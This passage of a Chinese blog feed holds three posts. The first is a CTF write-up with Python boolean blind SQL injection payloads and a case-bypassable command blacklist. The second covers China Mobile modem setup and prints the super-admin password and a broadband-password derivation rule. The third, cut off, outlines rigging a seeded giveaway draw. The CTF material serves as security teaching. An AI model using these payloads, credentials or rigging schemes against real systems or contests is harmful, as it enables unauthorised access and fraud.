<span class=\"nf\">bool_blind<\/span><span class=\"p\">(<\/span><span class=\"n\">poc<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">url<\/span> <span class=\"o\">=<\/span> <span class=\"sa\">f<\/span><span class=\"s\">\"http:\/\/ip:8029\/query\/?domain')&gt;'1' or <\/span><span class=\"si\">{<\/span><span class=\"n\">poc<\/span><span class=\"si\">}<\/span><span class=\"s\">--=b\"<\/span>\n    <span class=\"k\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">url<\/span><span class=\"p\">)<\/span>\n    <span class=\"n\">r<\/span> <span class=\"o\">=<\/span> <span class=\"n\">requests<\/span><span class=\"p\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"n\">url<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">r<\/span><span class=\"p\">.<\/span><span class=\"n\">text<\/span><span class=\"p\">)<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u63a5\u4e0b\u6765\u5c31\u662f\u5e38\u89c4\u7684\u731c\u8868\u540d\u957f\u5ea6\uff0c\u731c\u8868\u540d\uff0c\u5217\u540d\u7684\u9636\u6bb5<\/p>\n\n<p>\u6bd4\u5982\u731c\u5f53\u524d\u6570\u636e\u5e93\u7684\u5e93\u540d\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\uff1a<\/p>\n\n<div class=\"language-python highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"n\">bool_blind<\/span><span class=\"p\">(<\/span><span class=\"s\">\"(select ascii(substr(current_database(),1,1))) between 30 and 98\"<\/span><span class=\"p\">)<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u4e0d\u7ed9\u7b2c\u4e09\u6761hint\u4e5f\u4e0d\u4f1a\u5f71\u54cd\u505a\u9898\uff0c\u4f46\u662f\u8003\u8651\u5230\u8868\u6bd4\u8f83\u591a\uff0c\u7206\u7834\u53ef\u80fd\u82b1\u65f6\u95f4\uff0c\u6240\u4ee5\u76f4\u63a5\u7ed9\u4e86hint\u3002\u672c\u5730\u65b0\u5efa\u4e00\u4e2a\u5de5\u7a0b\uff0c\u8fd0\u884c<code class=\"language-plaintext highlighter-rouge\">docker-entrypoint.sh<\/code>\u7684\u5185\u5bb9\u53ef\u4ee5\u770b\u5230flag\u5728<code class=\"language-plaintext highlighter-rouge\">auth_user<\/code>\u8868\uff0c\u7701\u7565\u4e86\u731c\u8868\u540d\u731c\u5217\u540d\u7684\u6b65\u9aa4\uff0c\u76f4\u63a5\u5230\u7206\u7834flag\u7684\u9636\u6bb5\u3002<\/p>\n\n<div class=\"language-python highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n<\/pre><\/td><td class=\"rouge-code\"><pre>\n<span class=\"n\">Hint<\/span> <span class=\"mi\">3<\/span><span class=\"p\">:<\/span>\n<span class=\"err\">$<\/span> <span class=\"n\">cat<\/span> <span class=\"n\">docker<\/span><span class=\"o\">-<\/span><span class=\"n\">entrypoint<\/span><span class=\"p\">.<\/span><span class=\"n\">sh<\/span> \n<span class=\"c1\">#!\/bin\/bash\n<\/span>\n<span class=\"nb\">set<\/span> <span class=\"o\">-<\/span><span class=\"n\">ex<\/span>\n<span class=\"n\">cd<\/span> <span class=\"o\">\/<\/span><span class=\"n\">app<\/span>\n<span class=\"n\">chmod<\/span> <span class=\"o\">+<\/span><span class=\"n\">x<\/span> <span class=\"n\">wait<\/span><span class=\"o\">-<\/span><span class=\"k\">for<\/span><span class=\"o\">-<\/span><span class=\"n\">it<\/span><span class=\"p\">.<\/span><span class=\"n\">sh<\/span>\n<span class=\"p\">.<\/span><span class=\"o\">\/<\/span><span class=\"n\">wait<\/span><span class=\"o\">-<\/span><span class=\"k\">for<\/span><span class=\"o\">-<\/span><span class=\"n\">it<\/span><span class=\"p\">.<\/span><span class=\"n\">sh<\/span> <span class=\"o\">-<\/span><span class=\"n\">t<\/span> <span class=\"mi\">0<\/span> <span class=\"n\">psql<\/span><span class=\"p\">:<\/span><span class=\"mi\">5432<\/span> <span class=\"o\">--<\/span> <span class=\"n\">echo<\/span> <span class=\"s\">\"postgres is up\"<\/span>\n\n<span class=\"n\">python<\/span> <span class=\"n\">manage<\/span><span class=\"p\">.<\/span><span class=\"n\">py<\/span> <span class=\"n\">makemigrations<\/span>\n<span class=\"n\">python<\/span> <span class=\"n\">manage<\/span><span class=\"p\">.<\/span><span class=\"n\">py<\/span> <span class=\"n\">migrate<\/span>\n<span class=\"n\">python<\/span> <span class=\"n\">manage<\/span><span class=\"p\">.<\/span><span class=\"n\">py<\/span> <span class=\"n\">shell<\/span> <span class=\"o\">-<\/span><span class=\"n\">c<\/span> <span class=\"s\">\"from django.contrib.auth.models import User; User.objects.create_user('flag', 'flag{fake_flag}', 'this_is_not_important') if not User.objects.filter(username='flag').exists() else 0;\"<\/span>\n\n<span class=\"k\">exec<\/span> <span class=\"s\">\"$@\"<\/span><span class=\"o\">%<\/span> \n \n<span class=\"n\">You<\/span><span class=\"s\">'d better create your own web server in your local computer to find the table name, column name and debug your POC.\n<\/span><\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<h1 id=\"\u6700\u7ec8-poc\">\u6700\u7ec8 poc<\/h1>\n\n<p>\u6700\u7ec8payload\u547c\u4e4b\u6b32\u51fa\uff1a<\/p>\n\n<p>\u7206\u7834flag\u5b57\u7b26\u4e32\u7b2c\u4e00\u4f4d\u7684ascii\u7801<\/p>\n<div class=\"language-python highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"n\">bool_blind<\/span><span class=\"p\">(<\/span><span class=\"s\">\"(select ascii(substr((select email from auth_user),1,1))) between 0 and 102\"<\/span><span class=\"p\">)<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u5199\u811a\u672c\u4fee\u6539\u4e0a\u9650\uff0c\u6216\u8005\u4eba\u5de5\u4e8c\u5206\uff0c\u90fd\u53ef\u4ee5\u5feb\u901f\u5f97\u5230flag<\/p>\n\n<h1 id=\"\u8dcb\">\u8dcb<\/h1>\n\n<p>\u4ee3\u7801\u6cc4\u9732\u8fd9\u4e2a\u9636\u6bb5\u5361\u4e86\u5927\u5bb6\u8fd9\u4e48\u4e45\uff0c\u8fd9\u4e2a\u6211\u5f97\u7ed9\u5927\u5bb6\u9053\u6b49\uff0c\u6211\u6ca1\u60f3\u5230\u8fd9\u91cc\u4f1a\u662f\u7b2c\u4e00\u4e2a\u5751\uff0c\u597d\u5728\u8fde\u7ed9\u4e86\u4e24\u4e2ahint\u4e4b\u540e\uff0c\u7ec8\u4e8e\u6709\u4e00\u4f4d\u540c\u5b66\u626b\u5230\u4e86\/static\/www.zip\uff0c\u7136\u540e\u53ef\u80fd\u548c\u4ed6\u4e00\u8d77\u505a\u9898\u7684\u53e6\u4e00\u4e2a\u540c\u5b66\uff0c\u4e5f\u76f4\u63a5\u8bbf\u95ee\u4e86\u8fd9\u4e2a\u8def\u5f84\u3002\u6ca1\u8fc7\u591a\u4e45\uff0c\u5c31\u770b\u5230\u6784\u9020\u7684<code class=\"language-plaintext highlighter-rouge\">ip{poc}=xxx<\/code>\u6253\u4e86\u8fc7\u6765\uff0c\u4ee5\u4e3a\u5f88\u5feb\u8fd9\u9898\u5c31\u4f1a\u88ab\u79d2\u4e86\uff0c\u56e0\u4e3a\u5df2\u7ecf\u6784\u9020\u51fa\u4e86\u5e03\u5c14\u76f2\u6ce8\u7684\u6761\u4ef6\u4e86\uff0c\u5c31\u5dee\u4fee\u6539\u4e4b\u540e\u7684\u5224\u65ad\u8bed\u53e5\u4e86\uff0c\u53ef\u662f\u5f88\u9057\u61be\uff0c\u8fd9\u4e24\u4f4d\u540c\u5b66\u8fd8\u662f\u6ca1\u6709\u505a\u51fa\u6765\u8fd9\u9053\u9898\u3002<\/p>\n\n<p>\u56e0\u4e3aflag\u662f\u5728\u6570\u636e\u5e93\u91cc\u9762\uff0c\u800c\u8fd9\u91cc\u53ef\u4ee5\u4f7f\u7528<code class=\"language-plaintext highlighter-rouge\">postgres<\/code>\u7684\u547d\u4ee4\u6267\u884c\u62ff\u5230\u6570\u636e\u5e93\u7684shell\uff0c\u4f46\u662f\u6b64\u5904\u62ff\u5230\u4e86shell\u4e5f\u4e0d\u80fd\u62ff\u5230flag\uff0c\u56e0\u4e3a\u6709shell\u4e5f\u65e0\u6cd5\u767b\u5f55\u5230\u6570\u636e\u5e93\u91cc\u9762\uff0c\u4e5f\u5c31\u65e0\u6cd5\u62ff\u5230flag\uff0c\u6240\u4ee5\u6211\u60f3\u8fc7\u5728\u6570\u636e\u5e93\u91cc\u9762\u4e5f\u653e\u540c\u6837\u7684\u4e00\u4e2aflag\uff0c\u4f46\u662f\u6700\u7ec8\u653e\u5f03\u4e86\u8fd9\u4e2a\u60f3\u6cd5\uff0c\u800c\u662f\u5199\u4e86\u4e2a\u8e69\u811a\u7684\u9ed1\u540d\u5355\u8fc7\u6ee4\uff0c\u8ba9\u505a\u9898\u7684\u540c\u5b66\u56de\u5230\u6ce8\u5165\u7684\u601d\u8def\u4e2d\uff0c\u7ed3\u679c\u5ffd\u7565\u4e86\u5927\u5c0f\u5199\u53ef\u4ee5\u7ed5\u8fc7 :(  \u65e5\u5fd7\u91cc\u9762\u770b\u5230\u8fd9\u4e24\u4f4d\u540c\u5b66\u7684\u5927\u5199\u7684 <code class=\"language-plaintext highlighter-rouge\">CMD_EXEC<\/code>\u6253\u4e86\u8fc7\u6765\uff0c\u5fc3\u91cc\u4e00\u60ca :)  \u4e0d\u8fc7\u6700\u540e\u8fd8\u662f\u6ca1\u6709\u62ff\u5230shell<\/p>\n\n<div class=\"language-python highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"k\">def<\/span> <span class=\"nf\">check_danger_string<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">:<\/span> <span class=\"nb\">str<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">ban_list<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[<\/span><span class=\"s\">'cmd'<\/span><span class=\"p\">,<\/span> <span class=\"s\">'shell'<\/span><span class=\"p\">,<\/span> <span class=\"s\">'exec'<\/span><span class=\"p\">,<\/span> <span class=\"s\">'cyberpunk'<\/span><span class=\"p\">]<\/span>\n    <span class=\"k\">for<\/span> <span class=\"n\">item<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">ban_list<\/span><span class=\"p\">:<\/span>\n        <span class=\"k\">if<\/span> <span class=\"n\">item<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">s<\/span><span class=\"p\">:<\/span>\n            <span class=\"k\">return<\/span> <span class=\"bp\">False<\/span>\n    <span class=\"k\">return<\/span> <span class=\"bp\">True<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>159.226.95.*  \u626b\u4e86\u633a\u4e45\u7684\uff0c\u770b\u65e5\u5fd7\u5f88\u591a\u6b21\u90fd\u548cwww.zip \u64e6\u80a9\u800c\u8fc7\uff0c\u611f\u89c9\u8fd9\u4e2a\u626b\u63cf\u5668\u53ef\u80fd\u4e0d\u5927\u597d\u4f7f\uff0c\u540e\u6765\u548c\u4ed6\u4ea4\u6d41\u4e4b\u540e\u770b\u5230\u4ed6\u626b\u5230\u4e86\u6e90\u7801\uff0c\u5f88\u5feb\u4e5f\u5728\u65e5\u5fd7\u91cc\u9762\u770b\u5230\u4e86yunsle\u5f00\u59cb\u6784\u9020poc\uff0c\u53ef\u662f\u65f6\u95f4\u5df2\u7ecf\u4e0d\u591f\u4e86  :)<\/p>\n\n<p>\u867d\u7136\u6ca1\u6709\u540c\u5b66\u505a\u51fa\u6765\u8fd9\u9053\u9898\uff0c\u4e0d\u8fc7\u770b\u540c\u5b66\u4eec\u505a\u9898\u8fd8\u662f\u5f00\u5fc3\u7684\u4e00\u5929\u554a   :)<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210116215647.png\" alt=\"\" \/><\/p>\n\n<p>Les1ie<\/p>\n\n<p>2021\u5e741\u670810\u65e500:11:58<\/p>\n","pubDate":"Tue, 02 Feb 2021 08:17:45 +0000","link":"https:\/\/iansmith123.github.io\/2021\/02\/02\/%E4%B9%99%E7%BB%84%E6%9C%88%E8%B5%9Byour_ip%E9%A2%98%E8%A7%A3\/","guid":"https:\/\/iansmith123.github.io\/2021\/02\/02\/%E4%B9%99%E7%BB%84%E6%9C%88%E8%B5%9Byour_ip%E9%A2%98%E8%A7%A3\/","category":["CTF","wp"]},{"title":"\u6210\u90fd\u79fb\u52a8\u5149\u732bh2-2\u76842\/3\/4\u53e3\u5f00\u542fDHCP","description":"<h1 id=\"\u5e8f\">\u5e8f<\/h1>\n<p>\u7ecf\u8fc7\u5b9e\u9645\u6d4b\u8bd5\uff0c\u6210\u90fd\u79fb\u52a8\u5149\u732bh2-2\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u662f1\u53e3\u63d2\u8def\u7531\u5668\uff0c234\u53e3\u90fd\u63d2\u673a\u9876\u76d2\uff08\u6211\u4f9d\u7a00\u8bb0\u5f97\u53bb\u5e74\u662f13\u53e3\u53ef\u4ee5\u8def\u7531\u566824\u53e3\u5149\u732b\u7684\uff0c\u4e0d\u77e5\u9053\u4e0b\u53d1\u7684\u914d\u7f6e\u53ef\u4ee5\u4fee\u6539\u8fd9\u4e2a\u4e48\uff09\u3002\u4f46\u662f\u5bb6\u91cc\u53ea\u9700\u8981\u4e00\u4e2a\u673a\u9876\u76d2\uff0c\u6709\u597d\u51e0\u4e2a\u8def\u7531\u5668\u3002\u73b0\u5728\u662f1\u53e3\u63d2\u4e86n1\uff0c\u8fd8\u60f3\u63d2\u4e00\u4e2a\u8def\u7531\u5668\u8fdb\u53bb\uff0c\u4f46\u662f\u8bd5\u8fc7\u4e86234\u53e3\u90fd\u4e0d\u884c\uff0c\u4e0d\u80fdDHCP\u3002<\/p>\n\n<p>\u8d85\u7ba1\u8fdb\u540e\u53f0\u53ef\u4ee5\u770b\u5230\u4fee\u6539\u670d\u52a1\u548c\u7aef\u53e3\u7ed1\u5b9a\u7684\u5730\u65b9\uff0c\u4f46\u662f\u5df2\u7ecf\u88ab\u9009\u4e2d\u4e86\uff0c\u4e0d\u80fd\u66f4\u6539\u3002<\/p>\n\n<p>\u53ef\u4ee5\u770b\u5230\u5149\u732b\u6709\u4e09\u4e2a\u8fde\u63a5\uff0c101\u662fpppoe\uff0c102\u662f\u673a\u9876\u76d2\u7684\u6865\u63a5\uff0c104\u662ftr069\u4e1a\u52a1\u4e0b\u53d1\u7684<\/p>\n\n<p><img src=\"http:\/\/static.scuseek.com\/20200614010010.png\" alt=\"\" \/><\/p>\n\n<h1 id=\"\u89e3\u51b3\u95ee\u9898\">\u89e3\u51b3\u95ee\u9898<\/h1>\n<p>\u7b49\u624b\u673a\u638c\u5385\u770b\u5230\u8d1f\u8d23\u8fd9\u4e2a\u5730\u65b9\u7684\u4eba\u7684\u7535\u8bdd\uff0c\u6253\u7535\u8bdd\u8fc7\u53bb\u95ee\u4e86\u4e4b\u540e\u7ed9\u6211\u8bf4\u53ef\u4ee5\u8def\u7531\u5668lan\u91cc\u9762\u518d\u63a5\u8def\u7531\u5668\uff0c\u53ef\u662f\u6211\u5237\u7684\u8def\u7531\u5668\u7684\u56fa\u4ef6\u7684v6\u6709\u70b9\u95ee\u9898\uff0c\u6ca1\u5f04\u597d\uff0c\u6240\u4ee5\u8fd8\u662f\u5e0c\u671b\u76f4\u63a5\u80fd\u63a5\u5230\u5149\u732blan\u53e3\u3002<\/p>\n\n<p>\u5bf9\u65b9\u544a\u8bc9\u6211\u90a3\u4e2a\u9875\u9762\u53ef\u4ee5\u770b\u5230101 102\u4e4b\u7c7b\u7684\uff0c\u53d6\u6d88\u4e0d\u60f3\u8981\u7aef\u53e3\u7684\u7136\u540e\u5728101\u91cc\u9762\u5173\u8054\u5c31\u597d\u4e86\uff0c\u4f46\u662f\u6211\u8fd9\u91cc\u600e\u4e48\u90fd\u627e\u4e0d\u5230\u53ef\u4ee5\u53d6\u6d88\u7684\u5730\u65b9\uff0c\u7136\u540e\u4ed6\u8bf4\u4ed6\u53ef\u4ee5\u4e0b\u5348\u7684\u65f6\u5019\u4e0a\u95e8\u8c03\u8bd5\u3002<\/p>\n\n<p><img src=\"http:\/\/static.scuseek.com\/20200614002414.png\" alt=\"\" \/><\/p>\n\n<p>\u6765\u4e86\u4e4b\u540e\u91cd\u590d\u4e86\u6211\u7684\u64cd\u4f5c\uff0c\u8fd8\u662f\u4e0d\u884c\uff0c\u7136\u540e\u4ed6\u76f4\u63a5\u628a\u5149\u732b\u6062\u590d\u51fa\u5382\u8bbe\u7f6e\u4e86\u2026<\/p>\n\n<p>\u91cd\u65b0\u6ce8\u518c\u8bbe\u5907\uff0c\u51fa\u73b0\u4e86102\uff0c\u53d6\u6d88\u673a\u9876\u76d2\u7684\u5173\u8054\uff0c\u7136\u540e\u5728101\u91cc\u9762\u5173\u8054\u4e0a\uff0c\u95ee\u9898\u5c31\u89e3\u51b3\u4e86 :)<\/p>\n\n<p><img src=\"http:\/\/static.scuseek.com\/20200614002611.png\" alt=\"\" \/><\/p>\n\n<p><img src=\"http:\/\/static.scuseek.com\/20200614002717.png\" alt=\"\" \/><\/p>\n\n<p>\u597d\u7684\u73b0\u5728\u53ef\u4ee5\u6109\u5feb\u7684\u75281\/2\/3\u53e3DHCP\u4e86\u3002<\/p>\n\n<h1 id=\"\u5149\u732b\u9ad8\u8d1f\u8f7d\">\u5149\u732b\u9ad8\u8d1f\u8f7d<\/h1>\n\n<p>\u65b0\u7684\u95ee\u9898\u6765\u4e86\uff0c\u4e00\u5929\u4e4b\u540e\uff0c\u8fde2.4G\u9891\u6bb5\u7684wifi\u53bbping\u5149\u732b\u7684\u5ef6\u8fdf1ms-600ms\u4e0d\u7b49\uff0c\u8fd9\u4e48\u9ad8\u7684\u5ef6\u8fdf\u8bf4\u660e\u8d1f\u8f7d\u975e\u5e38\u9ad8\uff0c\u4f46\u662f\u5728\u540e\u53f0\u770b\u5230\u7f51\u901f\u5e76\u4e0d\u4e0d\u5feb\uff0c\u5e76\u4e14\u8fde5G\u9891\u6bb5wifi\u7684ping\u5149\u732b\u7ef4\u63011ms\uff0cn1\u8fde\u7f51\u7ebf\u4e0b\u8f7d\u4f9d\u7136300M\u6ee1\u901f\uff0c\u6700\u521d\u4ee5\u4e3a\u662f\u4fe1\u9053\u5e72\u6270\uff0c\u4f46\u662f\u6211\u62d4\u6389\u4e86\u5149\u732b\u65c1\u8fb9\u7684\u8def\u7531\u5668\u8fd8\u662f\u6781\u9ad8\u5ef6\u8fdf\uff0c\u4e0d\u77e5\u9053\u662f\u54ea\u91cc\u5d29\u4e86:(<\/p>\n\n<p>\u89e3\u51b3\u65b9\u6848\uff1a\u91cd\u542f\u89e3\u51b3 :)<\/p>\n\n<h1 id=\"\u91cd\u7f6e\u5149\u732b\u6b65\u9aa4\">\u91cd\u7f6e\u5149\u732b\u6b65\u9aa4<\/h1>\n\n<p><strong>\u5982\u679c\u9047\u5230\u540c\u6837\u7684\u95ee\u9898\uff0c\u5efa\u8bae\u5148\u8054\u7cfb\u79fb\u52a8\u5de5\u4f5c\u4eba\u5458\u518d\u64cd\u4f5c\uff0c\u907f\u514d\u7ffb\u8f66\u6298\u817e\u574f\u4e86<\/strong><\/p>\n\n<p>\u5982\u679c\u60f3\u8fc7\u8981\u81ea\u5df1\u91cd\u7f6e\u7684\u8bdd\uff0c\u9700\u8981\u5148\u627e\u5230\u81ea\u5df1\u7684\u5bbd\u5e26\u8d26\u53f7\uff0c\u91cd\u7f6e\u4e4b\u540e\u9700\u8981\u7528\u5230\u3002<\/p>\n\n<p>\u5728\u638c\u5385\u91cc\u9762\u53ef\u4ee5\u770b\u5230\u5bbd\u5e26\u8d26\u53f7\u662f209\u5f00\u5934\u7684\uff0c\u4e3e\u4e2a\u6817\u5b50<code class=\"language-plaintext highlighter-rouge\">20920200614<\/code>\uff08\u957f\u5ea6\u968f\u4fbf\u5199\u7684\uff09\uff0c\u7136\u540e\u5bc6\u7801\u662f\u53bb\u638920\u4e4b\u540e\u7684\u5b57\u7b26\u4e32\uff0c\u6bd4\u5982\u4e0a\u9762\u8fd9\u4e2a\u8d26\u53f7\u7684\u5bc6\u7801\u5c31\u662f<code class=\"language-plaintext highlighter-rouge\">920200614<\/code>\u3002<\/p>\n\n<p>\u91cd\u7f6e\u8fc7\u7a0b\uff1a<\/p>\n<ol>\n  <li>\u8d85\u7ba1 <code class=\"language-plaintext highlighter-rouge\">CMCCAdmin<\/code> \u5bc6\u7801 <code class=\"language-plaintext highlighter-rouge\">aDm8H%MdA<\/code> \u767b\u8fdb\u53bb\uff0c\u627e\u5230\u91cd\u7f6e\u5149\u732b\u7684\u9009\u9879\uff0c\u70b9\u51fb\u91cd\u7f6e<\/li>\n  <li>wifi\u4f1a\u91cd\u7f6e\u6210\u5149\u732b\u80cc\u9762\u7684ssid\u548c\u5bc6\u7801\uff0c\u91cd\u65b0\u8fde\u63a5wifi<\/li>\n  <li>\u6253\u5f00192.168.1.1\uff0c\u70b9\u8bbe\u5907\u6ce8\u518c\uff0c\u8f93\u5165\u4e0a\u9762\u7684\u8d26\u53f7\u548c\u5bc6\u7801\uff0c\u7b49\u5f85\u914d\u7f6e\u4e0b\u53d1\uff0c\u5982\u679c\u4e0b\u53d1\u5931\u8d25\u5c31\u591a\u70b9\u51e0\u6b21<\/li>\n  <li>\u53bb\u5230\u4fee\u6539lan\u53e3\u7ed1\u5b9a\u7684\u9875\u9762\u4fee\u6539\u5373\u53ef<\/li>\n<\/ol>\n\n<h1 id=\"\u5149\u732bipv6\u9632\u706b\u5899\">\u5149\u732bipv6\u9632\u706b\u5899<\/h1>\n\n<p>\u5149\u732b\u7ed9\u6211\u7684\u5185\u7f51\u5206\u4e86ipv6\u5730\u5740\uff0c\u4f46\u662f\u5916\u90e8\u8fde\u4e0d\u8fdb\u6765\uff0c\u53d6\u6d88\u9632\u653b\u51fb\u4fdd\u62a4\u5373\u53ef<\/p>\n\n<p><img src=\"http:\/\/static.scuseek.com\/20200614003757.png\" alt=\"\" \/><\/p>\n\n<p>\u6ce8\u610f\u53d6\u6d88\u4e4b\u540e\uff0c\u5916\u90e8\u662f\u53ef\u4ee5\u4e3b\u52a8\u548c\u5185\u7f51\u8bbe\u5907\u53d1\u8d77\u8fde\u63a5\u7684\uff0c\u6ce8\u610f\u5b89\u5168\u9632\u62a4\uff0c\u4e0d\u8981\u4ee5\u4e3aipv6\u5730\u5740\u7a00\u758f\u5c31\u4e0d\u4f1a\u88ab\u626b\u5230\u7684\uff0cnaive:)<\/p>\n\n<h1 id=\"\u8dcb\">\u8dcb<\/h1>\n\n<p>\u4ee5\u524d\u5237n1\u7cfb\u7edf\u7684\u65f6\u5019\uff0c\u63d2\u4e0a\u7f51\u7ebf\u4e5f\u4e0d\u4f1a\u83b7\u53d6ip\uff0c\u6211\u4e00\u76f4\u4e00\u76f4\u5f88\u4ee5\u4e3a\u662fn1\u7cfb\u7edf\u7684\u95ee\u9898\uff0c\u6211\u91cd\u590d\u5237\u4e86\u597d\u591a\u6b21\u7cfb\u7edf\u5e76\u4e14\u4e5f\u53c2\u8003\u7f51\u4e0a\u7c7b\u4f3c\u7684\u95ee\u9898\u505a\u4e86\u4fee\u6539\u90fd\u4e0dwork\uff0c\u7136\u540e\u7ec8\u4e8e\u53d1\u73b0\u662f\u79fb\u52a8\u5149\u732bDHCP\u7684\u95ee\u9898\u4e0d\u662f\u955c\u50cf\u7684\u95ee\u9898:(<\/p>\n\n<p>\u81f3\u4e8e\u4e3a\u4ec0\u4e48\u4e0d\u6539\u6865\u63a5\u7528\u8def\u7531\u5668\u62e8\u53f7\uff0c\u539f\u56e0\u67092\uff1a<\/p>\n\n<ol>\n  <li>\u5149\u732b\u8dd1\u6ee1300M\u5149\u7ea4\u65e0\u538b\u529b\uff0c\u65e0\u9700\u66f4\u6362<\/li>\n  <li>\u5149\u732b\u6027\u80fd\u6bd4\u6211\u768420\u5757\u4e00\u53f0\u7684\u4e50\u89c6\u8def\u7531\u5668\u597d :)<\/li>\n<\/ol>\n\n<p>\u53e6\uff1a\u79fb\u52a8\u5de5\u4f5c\u4eba\u5458\u670d\u52a1\u6001\u5ea6\u592a\u592a\u592a\u597d\u4e86\uff0c\u6211\u6253\u7535\u8bdd\u54a8\u8be2\u95ee\u9898\uff0c\u6ca1\u8d70\u7c7b\u5de5\u5355\u7cfb\u7edf\u7684\u6d41\u7a0b\uff0c\u4ed6\u90fd\u4ed6\u8d85\u7ea7\u8010\u5fc3\u89e3\u7b54\uff0c\u6ca1\u89e3\u51b3\u95ee\u9898\u8fd8\u4e3b\u52a8\u8bf4\u53ef\u4ee5\u4e0a\u95e8\u8c03\u8bd5\uff0c\u8c03\u8bd5\u8fc7\u7a0b\u4e2d\u6211\u95ee\u95ee\u9898\u4e5f\u8d85\u7ea7\u8010\u5fc3\u56de\u7b54 :)<\/p>\n\n<p>\u8d85\u60f3\u7ed9\u4e2a\u4e94\u661f\u597d\u8bc4\uff0c\u65e0\u5948\u6ca1\u6709\u7ed9\u597d\u8bc4\u7684\u5730\u65b9 :)<\/p>\n\n<p>Les1ie<\/p>\n\n<p>2020\u5e746\u670814\u65e500:48:57<\/p>\n","pubDate":"Sat, 13 Jun 2020 16:09:59 +0000","link":"https:\/\/iansmith123.github.io\/2020\/06\/13\/%E7%A7%BB%E5%8A%A8%E5%85%89%E7%8C%ABh2-2\/","guid":"https:\/\/iansmith123.github.io\/2020\/06\/13\/%E7%A7%BB%E5%8A%A8%E5%85%89%E7%8C%ABh2-2\/","category":"\u968f\u7b14"},{"title":"\u63a7\u5236python\u968f\u673a\u6570","description":"<h1 id=\"intro\">intro<\/h1>\n<p>\u8d77\u56e0\u662f\u770b\u5230v2ex\u6709\u4eba\u53d1\u4e86\u4e2a\u9001E\u5361\u7684\u63a8\u5e7f https:\/\/www.v2ex.com\/t\/618739#reply392  \u91cc\u9762\u6709\u8bf4\u62bd\u5956\u7684\u65b9\u5f0f<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>import random\n\nseed = [\u7b2c 300 \u697c\u7684\u7528\u6237 ID]\nrandom.seed(seed) \n\nprint(sorted(random.sample(range(1, 300), 5)))\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u9009\u62e9\u7b2c300\u697c\u7684\u7528\u6237\u540d\u4f5c\u4e3a\u79cd\u5b50\uff0c\u7136\u540e\u62bd\u5956\n\u4e00\u822c\u6765\u8bf4\uff0c\u79cd\u5b50\u786e\u5b9a\u4e86\uff0c\u751f\u6210\u7684\u968f\u673a\u6570\u7684\u5e8f\u5217\u5c31\u786e\u5b9a\u4e86\u3002\npython2 3\u4e4b\u95f4\u751f\u6210\u5e8f\u5217\u4e0d\u540c\uff0c\u4f46\u662f python2\u6216python3\u81ea\u5df1\u7684\u5c0f\u7248\u672c\u5185\u5e8f\u5217\u662f\u76f8\u540c\u7684<\/p>\n\n<p>\u90a3\u4e48\u80fd\u5426\u63a7\u5236\u4e2d\u5956\u697c\u5c42\u5462\uff1f<\/p>\n\n<h1 id=\"attack\">attack<\/h1>\n<p>\u7b2c300\u697c\u7684\u7528\u6237ID\u662f\u552f\u4e00\u7684\u8f93\u5165\uff0c\u800c\u8fd9\u4e2a ID\u662f\u53ef\u4ee5\u63a7\u5236\u7684\uff0c\u53ef\u4ee5\u6ce8\u518c\u4e00\u4e2a\u7528\u6237\u540d\uff0c\u5728\u7b2c300\u697c\u56de\u590d\u5373\u53ef\u3002\u987a\u624b\u5199\u4e86\u4e2a\u811a\u672c\u6765\u7206\u7834\u53ef\u4ee5\u751f\u6210\u6307\u5b9a\u4e2d\u5956\u697c\u5c42\u7684\u79cd\u5b50\u7684\u4ee3\u7801<\/p>\n<div class=\"language-python highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n45\n46\n47\n48\n49\n50\n51\n52\n53\n54\n55\n56\n<\/pre><\/td><td class=\"rouge-code\"><pre><span 